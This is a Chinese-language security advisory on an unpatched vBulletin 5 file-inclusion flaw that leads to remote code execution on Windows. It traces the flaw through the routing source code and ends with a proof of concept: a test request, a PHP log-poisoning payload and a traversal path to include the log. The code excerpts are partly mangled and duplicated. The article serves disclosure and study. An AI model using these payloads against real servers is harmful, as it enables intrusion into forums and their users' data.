vBulletin 爆出遠程代碼執行漏洞

作者:@cherrie 校審:@Murasaki

漏洞摘要

以下報告描述了 vBulletin 5 一個未授權的文件包含漏洞所引發的遠程代碼執行漏洞。

vBulletin 簡稱 vB,由 vBulletin Solutions 公司開發,是一款基於 PHP 和 MySQL 資料庫的論壇軟體包。vBulletin 為許多大的社交網站提供支持,已經有超過 10 萬個網站在使用,其中包括財富 500 強和 Alexa Top 1M 公司的網站和論壇。根據最新的 W3Techs1 數據統計,vBulletin 4 擁有 vBulletin 55% 以上的市場份額,而版本 3 和版本 5 則佔領了剩下的份額。

廠商回復

自 2017年11月21日起,我們反覆與廠商聯繫,都沒得到回應,目前,這些漏洞仍然尚未解決。

漏洞細節

遠程攻擊者可以包含 vBulletin 伺服器上的任意文件從而執行惡意 PHP 代碼。利用 routestring 參數向 /index.php 發送 GET 請求觸發文件包含漏洞。並將精心構造的請求發送給安裝在 windows 系統上的 vBulletin 伺服器,包含其上的任意文件。

/index.phpnn$app =vB5_Frontend_Application::init(config.php); n//todo, move this back so we cann//catch notices in the startup code. For now, we can set the value in the php.inin//file to catch these situations. n// We report all errors here becausen//we have to make Application Notice free nerror_reporting(E_ALL | E_STRICT); nn$config = vB5_Config::instance(); nif(!$config->report_all_php_errors) { n// Note that E_STRICT became part of E_ALL in PHP 5.4nerror_reporting(E_ALL& ~(E_NOTICE | E_STRICT));n } nn$routing = $app->getRouter(); n$method = $routing->getAction(); n$template =$routing->getTemplate(); n$class =$routing->getControllerClass(); nnif (!class_exists($class)) n{ n// @todo - this needs aproper error messagen die("Couldnt find controller file for $class");n } nnvB5_Frontend_ExplainQueries::initialize(); n$c = new $class($template); n ncall_user_func_array(array(&$c,$method), $routing->getArguments()); nnvB5_Frontend_ExplainQueries::finish();n

仔細看看 vB5_Frontend_Application::init() 這部分

/includes/vb5/frontend/application.php:nnpublic static function init($configFile)n {n parent::init($configFile); n n self::$instance = new vB5_Frontend_Application();n self::$instance->router = new vB5_Frontend_Routing();n self::$instance->router->setRoutes();n

setRouters() 函數被調用了:

/includes/vb5/frontend/routing.php:nnpublic function setRoutes() n{ n $this->processQueryString(); n //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it n //$path =isset($_SERVER[PATH_INFO]) ? $_SERVER[PATH_INFO] :; n n if (isset($_GET[routestring])) n { n $path= $_GET[routestring]; n } nn if (strlen($path) AND $path{0} == /) n { n $path= substr($path, 1); n } n n //If there is an invalid image, js, or css request we wind up here. We cant process any ofthem n if (strlen($path) > 2) n{ n $ext= strtolower(substr($path, -4)) ; n if(($ext == /* 47 */ public function setRoutes() n { n $this->processQueryString(); n n //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it n //$path = isset($_SERVER[PATH_INFO]) ? $_SERVER[PATH_INFO] :nnif(isset($_GET[routestring])) n{ n $path= $_GET[routestring]; n} n if (strlen($path) AND $path{0} == /) n { n $path= substr($path, 1); n } n n //If there is an invalid image, js, or css request we wind up here. We cant process any of them n if (strlen($path) > 2) n { n $ext= strtolower(substr($path, -4)) ; n if(($ext == .gif) OR ($ext == .png) OR ($ext == .jpg) OR ($ext ==.css) n OR (strtolower(substr($path, -3)) == .js) ) n { n header("HTTP/1.0 404 Not Found"); n die(); n } n } n n try n { n $message= ; // Start with no error. n $route= Api_InterfaceAbstract::instance()->callApi(route, getRoute,array(pathInfo => $path, queryString =>$_SERVER[QUERY_STRING])); n } n catch (Exception $e) n { n } n if(!empty($route)) n { n } nelse n{ n // if no route was matched, try to parse route as/controller/method n $stripped_path= preg_replace(/[^a-z0-9/-_.]+/i, , trim(strval($path),/)); n} n n //this could be a legacy file that we need to proxy. The relay controller will handle n //cases where this is not avalid file. Only handle files in the "rootdirectory". Well n //handle deeper paths via more standard routes. n if (strpos($path, /) ===false) n{ n $this->controller= relay; n $this->action= legacy; n $this->template= ; n $this->arguments= array($path); n $this->queryParameters= array(); n return; n} nvB5_ApplicationAbstract::checkState(); n throw new vB5_Exception_404("invalid_page_url"); n } ) ) n { n header("HTTP/1.0 404 Not Found"); n die(); n } n} ntry n{ n $message= ; // Start with no error. n $route= Api_InterfaceAbstract::instance()->callApi(route, getRoute,array(pathInfo => $path, queryString =>$_SERVER[QUERY_STRING])); n} n catch (Exception $e) n{ n} n if (!empty($route)) n{ n n} nelse n{ n // if no route was matched, try to parse route as/controller/method n $stripped_path= preg_replace(/[^a-z0-9/-_.]+/i, , trim(strval($path),/)); n} n //this could be a legacy file that we need to proxy. The relay controller will handle n //cases where this is not a valid file. Only handle files in the "root directory". Well n //handle deeper paths via more standard routes. n if (strpos($path, /) ===false) n{ n $this->controller= relay; n $this->action= legacy; n $this->template= ; n $this->arguments= array($path); n $this->queryParameters= array(); n return; n} n

因此,如果 routestring 參數沒有以 『.gif』、』.png』、』.jpg』、』.css』 或 『.js』 結尾並且不是以 』/』 開頭,那麼 vBulletin 就會調用 vB5_Frontend_Controller_Relay – /includes/vb5/frontend/controller/relay.php

里的 legacy() 方法:

public function legacy($file)n {n $api = Api_InterfaceAbstract::instance()n $api->relay($file);n }n

查看 Api_Interface_Collapsed class – /include/api/interface/collapsed.php

里的 relay() 函數:

public function relay($file)n{n $filePath =vB5_Config::instance()->core_path . / . $file;n if ($file AND file_exists($filePath))n {n //hack because the admincp/modcp files wont return so the remaining processing inn //index.php wont take place. If we better integrate the admincp into then //frontend, we can (and should) remove this.n vB_Shutdown::instance()->add(array(vB5_Frontend_ExplainQueries,finish));n require_once($filePath);n }n

正如我們看到的,攻擊者不能在 $file 中使用 『/』,因此無法改變 Linux 伺服器上的當前目錄,然而在 windows 上可以使用 『』 作為路徑分隔符,使用 『..』 的方法指定任意文件。

如果想要包含後綴為 『.gif』、』.png』、』.jpg』、』.css』 或 『.js』 的文件,就需要繞過

setRoutes() 函數的檢測,我們可以在文件名中加點(.』)或空白(%20』)。

POC

通過發送如下 GET 請求測試伺服器是否存在漏洞:

/index.php?routestring=.n

響應如下:

可見,伺服器是存在漏洞的。

這裡利用的是日誌包含的方式

先向 access.log 注入 PHP 代碼:

/?LogINJ_START=<?php phpinfo();?>LogINJ_ENDn

之後使用 PHP 代碼包含日誌文件:

/index.php?routestring=....................xamppapachelogsaccess.logn

參考:blogs.securiteam.com/in

歡迎關注微信公眾號:SKE安全大事件

安全科普,我們是認真的~


推薦閱讀:

微軟官方詳細分析Fireball惡意軟體,其實它沒那麼可怕
通過DNS響應欺騙來繞過域控制驗證
假借可信的在線服務進行C&C攻擊
世界第一黑客凱文·米特尼克再出山:這次教你如何在線隱身
ASLR保護失效 大規模網路攻擊即將來襲

TAG:信息安全 | 安全漏洞 |